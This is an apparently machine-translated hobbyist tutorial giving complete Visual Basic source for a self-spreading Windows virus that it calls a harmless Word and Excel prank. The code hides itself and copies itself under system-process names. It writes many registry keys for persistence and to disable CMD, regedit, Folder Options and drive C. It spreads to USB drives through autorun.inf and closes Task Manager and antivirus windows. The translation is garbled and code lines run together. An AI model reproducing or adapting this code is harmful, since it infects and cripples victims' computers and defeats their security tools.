Virus For MsWord Etc

Our program this time is to make a simple virus is just annoying Microsoft Office Word and Excel.Misalkan user opens a Word then on typing paper has appeared messages from Virus similarly when opening Excel message will be given the virus in cell Excel. Ya..ya simple once this virus does not damage the documents / files and not mengahpus any files so excellent virus hati..he..he..Jika you want to add Fiture-Fiture cruel but please just here / This virus did not I write how to format or delete files or other intrusions Fiture (now is not the time) .Please try guaranteed 100% no data is deleted, this is just a game only virus kok..berani try?What is needed in making this project go round: 5 timers and 1 DriveListBoxAt this time the project we can learn about the Fire SendMessage Windows, registry, and automation in Word and Excel. May be useful.
Put all the code below in the form==========================================Private Declare Function FindWindow Lib "User32" Alias ​​"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'search Kleas and Window Name A FilePrivate Declare Function SendMessage Lib "User32" Alias ​​"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'SendMessagePrivate Declare Function GetDriveType & Lib "Kernel32" Alias ​​"GetDriveTypeA" (ByVal nDrive As String) 'penghandel flashPrivate Declare Function ExitWindowsEx Lib "User32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windowsPrivate Const WM_CLOSE = & H10Private Const EWX_LOGOFF = 0Private Const EWX_SHUTDOWN = 1Private Const EWX_REBOOT = 2Private Const EWX_FORCE = 4Private Const EWX_POWEROFF = 8
Option ExplicitDim FWndDim obj As ObjectDim doc As ObjectAs Object Dim WrkBookAs Object Dim WrkSheetDim i As IntegerDim RegRunDim FolderStartUpDim FolderMyDocumentsDim FolderTemplatesDim FolderNetHoodDim FolderPrintHoodDim FolderFavoritesDim FolderSendToDim FolderProgramsDim FlashDisk
Private Sub Form_Load ()On Error Resume Next'random caption caption shg virus will change every Windows startup or virus executedRandomizeMe.Caption = Int (Rnd * 2221189331445 #) 'Please input the numbers as you like'MultiplyGandakefolderIstimewaMe.Visible = FalseApp.TaskVisible = False 'virus is not visible in the task managerInfeksiRegistryEnd Sub
Sub BuatWord ()On Error Resume NextSet obj = CreateObject ("Word.Application")Set doc = CreateObject ("Word.Application")Set doc = obj.Documents.Adddoc.Content = "VIRUS WORKS MENGINFEKSIMU - SALAM KENAL"End Sub
Sub BuatXls ()On Error Resume NextSet obj = CreateObject ("Excel.Application")Set WrkBook = obj.workbooks.AddSet WrkSheet = WrkBook.worksheets.AddWrkSheet.Cells (15, 4) = "VIRUS WORKS MENGINFEKSIMU - SALAM KENAL"End Sub
Sub InfeksiRegistry ()On Error Resume NextRegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Policies \ Shell", "Explorer.exe" and "" "" & FolderMyDocuments & "\ services.exe" "" 'virus will continue to run on the type of windows Safe ModeRegRun.regwrite "HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Control \ SafeBoot \ AlternateShell", FolderFavorites & "\ SalamKenal.exe '' the virus will continue to run on the type of Windows Safe Mode With Command PromptRegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, "REG_DWORD" 'Folder Options can not be accessedRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFolderOptions", 1, "REG_DWORD" 'Folder Options can not be accessedRegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, "REG_DWORD" 'Hide file attribute superhidden / files systemRegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \ ShowSuperHidden", 0, "REG_DWORD" 'Hide file attribute superhidden / files systemRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ System \ DisableCMD", 1, "REG_DWORD" 'Disable CMD and .batRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Policies \ Microsoft \ Windows \ System \ DisableCMD", 1, "REG_DWORD" 'Disable CMD and .batRegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, "REG_DWORD" 'registry can not be accessed and can not perform the import files with RegRegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, "REG_DWORD" 'registry can not be accessed and can not perform the import files with RegRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ Winlogon", FolderTemplates & "\ smss.exe" 'smss.exe running at startupRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ Winlogon", FolderSendTo & "\ system.exe" 'system.exe run at startupRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFind", 1, "REG_DWORD" 'pd star search menu disappearRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFind", 1, "REG_DWORD" 'Ssearch pd star lost menuRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoSMHelp", 1, "REG_DWORD" 'help suport star pd missing menuRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoSMHelp", 1, "REG_DWORD" 'help suport star pd missing menuRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoClose", 1, "REG_DWORD" 'Turn Off button menu pd missing starRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoClose", 1, "REG_DWORD" 'Turn Off button menu pd missing starRegRun.regwrite "HKEY_CURRENT_USER \ Control Panel \ Colors \ WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEXT INTO THE REDRegRun.regwrite "HKEY_CLASSES_ROOT \ Drive \ shell \ Scan With Antivirus \ Command \", FolderFavorites & "\ SalamKenal.exe" 'Creating With Antivirus Scan menu on right click the Drive-drive, but not the run Antivirus Virus but that SalamKenal.exe located in the Favorite FoldersRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoDrives", 4 "REG_DWORD" 'Drive C is lostRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoDrives", 4 "REG_DWORD" 'Drive C is lostRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ Internet Explorer \ policies \ Explorer \ NoFileMenu", 1, "REG_DWORD" 'File menu in Windows Ekplorer missingRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ Internet Explorer \ policies \ Explorer \ NoFileMenu", 1, "REG_DWORD" 'File menu in Windows Ekplorer missingRegRun.regwrite "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Cdrom \ Autorun", 1, "REG_DWORD" 'Autorun on CD or USBEnd Sub
Sub GandaKeFlashDisk ()On Error Resume NextIf Dir (flash & "\ Winlogon.exe") <> "Winlogon.exe" Then 'check for the presence or tdknya winlogon.exe in flash if cut no laterFileCopy FolderStartUp & "\ Winlogon.exe", FlashDisk & "\ Winlogon.exe"SetAttr FlashDisk & "\ Winlogon.exe", vbHidden + vbSystem + vbReadOnlyEnd IfBuatFileAutorunInfEnd Sub
Sub BuatFileAutorunInf ()'create Autorun.inf file to flash function for every flash if double-click / right-click then click open the Virus (winlogon.exe) will be executedOn Error Resume NextOpen FlashDisk & "\ autorun.inf" For Output As 1Print # 1, "[autorun]"Print # 1, "Icon = Winlogon.exe" 'To FlashDisk Having Icon Same as VirusPrint # 1, "Open = Winlogon.exe"Print # 1, "ShellExecute = Winlogon.exe"Print # 1, "Shell \ Open \ Command = Winlogon.exe"Print # 1, "Shell = Open"Close # 1SetAttr FlashDisk & "\ autorun.inf", vbHidden + vbSystem + vbReadOnlyEnd Sub
Sub GandakefolderIstimewa ()On Error Resume NextSet RegRun = CreateObject ("WScript.Shell")FolderStartUp = RegRun.specialfolders ("StartUp")FolderMyDocuments = RegRun.specialfolders ("My Documents")FolderTemplates = RegRun.specialfolders ("Templates")FolderNetHood = RegRun.specialfolders ("NetHood")FolderPrintHood = RegRun.specialfolders ("PrintHood")FolderFavorites = RegRun.specialfolders ("Favorites")FolderSendTo = RegRun.specialfolders ("SendTo")FolderPrograms = RegRun.specialfolders ("Programs")On Error Resume Next'Create a virus with the name winlogon.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderStartUp & "\ winlogon.exe"SetAttr FolderStartUp & "\ Winlogon.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name services.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderMyDocuments & "\ services.exe"SetAttr FolderMyDocuments & "\ services.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name smss.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderTemplates & "\ smss.exe"SetAttr FolderTemplates & "\ smss.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name csrss.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderPrintHood & "\ csrss.exe"SetAttr FolderPrintHood & "\ csrss.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name Isass.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderNetHood & "\ Isass.Exe"SetAttr FolderNetHood & "\ Isass.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name SalamKenal.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderFavorites & "\ SalamKenal.Exe"SetAttr FolderFavorites & "\ SalamKenal.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name system.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderSendTo & "\ System.Exe"SetAttr FolderSendTo & "\ system.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name ctfmon.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderPrograms & "\ ctfmon.exe"SetAttr FolderPrograms & "\ ctfmon.exe", vbHidden + vbSystem + vbReadOnlyEnd Sub
Private Sub Timer1_Timer () 'Timer 1 given intervals of 5 secondsOn Error Resume NextFWnd = FindWindow ("OpusApp", "Document1 - Microsoft Word") 'Ms WordIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatWordobj.Visible = TrueTimer2.Enabled = TrueTimer1.Enabled = FalseEnd IfOn Error Resume NextFWnd = FindWindow ("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms WordIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatWordobj.Visible = TrueTimer2.Enabled = TrueTimer1.Enabled = FalseEnd IfEnd Sub
Private Sub Timer2_Timer ()On Error Resume NextFWnd = FindWindow ("XLMAIN", "Microsoft Excel - Book1") 'ms excelIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatXlsobj.Visible = TrueTimer1.Enabled = TrueTimer2.Enabled = FalseEnd IfOn Error Resume NextFWnd = FindWindow ("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excelIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatXlsobj.Visible = TrueTimer1.Enabled = TrueTimer2.Enabled = FalseEnd IfEnd Sub
Private Sub Timer3_Timer ()On Error Resume Next'Shut down applications that are harmful to the virusFWnd = FindWindow ("# 32 770", "RUN") 'window runSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "System Configuration Utility") 'msconfigSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "Windows Task Manager") 'task managerSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "Avira AntiVir Personal - Free Antivirus") 'Avira AntivirSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "AntiVir Guard: Attention, Detection!") 'Avira AntivirSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("RegEdit_RegEdit", vbNullString) 'regedit.exeSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("TMainForm", vbNullString) 'application made by Delphi (Antivirus PCMAV that the old version can be closed but the new version can not be stopped) <: dSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("TApplication", vbNullString) 'application made in DelphiSendMessage FWnd, WM_CLOSE, 0 &, 0 &End Sub
Private Sub Timer4_Timer ()'Looking flashOn Error Resume NextFor i = 0 To Drive1.ListCount - 1If GetDriveType (Drive1.List (i)) = 2 And Left (Drive1.List (i), 1) <> "A" ThenFlashDisk = (Drive1.List (i))Timer4.Enabled = False 'so that the flash lights flashing indeterminate too long, so that the owner of the morbidly suspicious flashExit ForEnd IfNextGandaKeFlashDisk 'End Sub
Private Sub Timer5_Timer ()On Error Resume NextInfeksiRegistry'Probably one of the viruses removed SHG should always multiplyGandakefolderIstimewa'Turn on the timer 4If GetDriveType (Drive1.List (i)) = 2 And Left (Drive1.List (i), 1) <> "A" ThenTimer4.Enabled = TrueEnd IfEnd Sub
Private Sub Form_QueryUnload (Cancel As Integer, UnloadMode As Integer)Cancel = 1End Sub
Private Sub Form_Unload (Cancel As Integer)Cancel = 1End Sub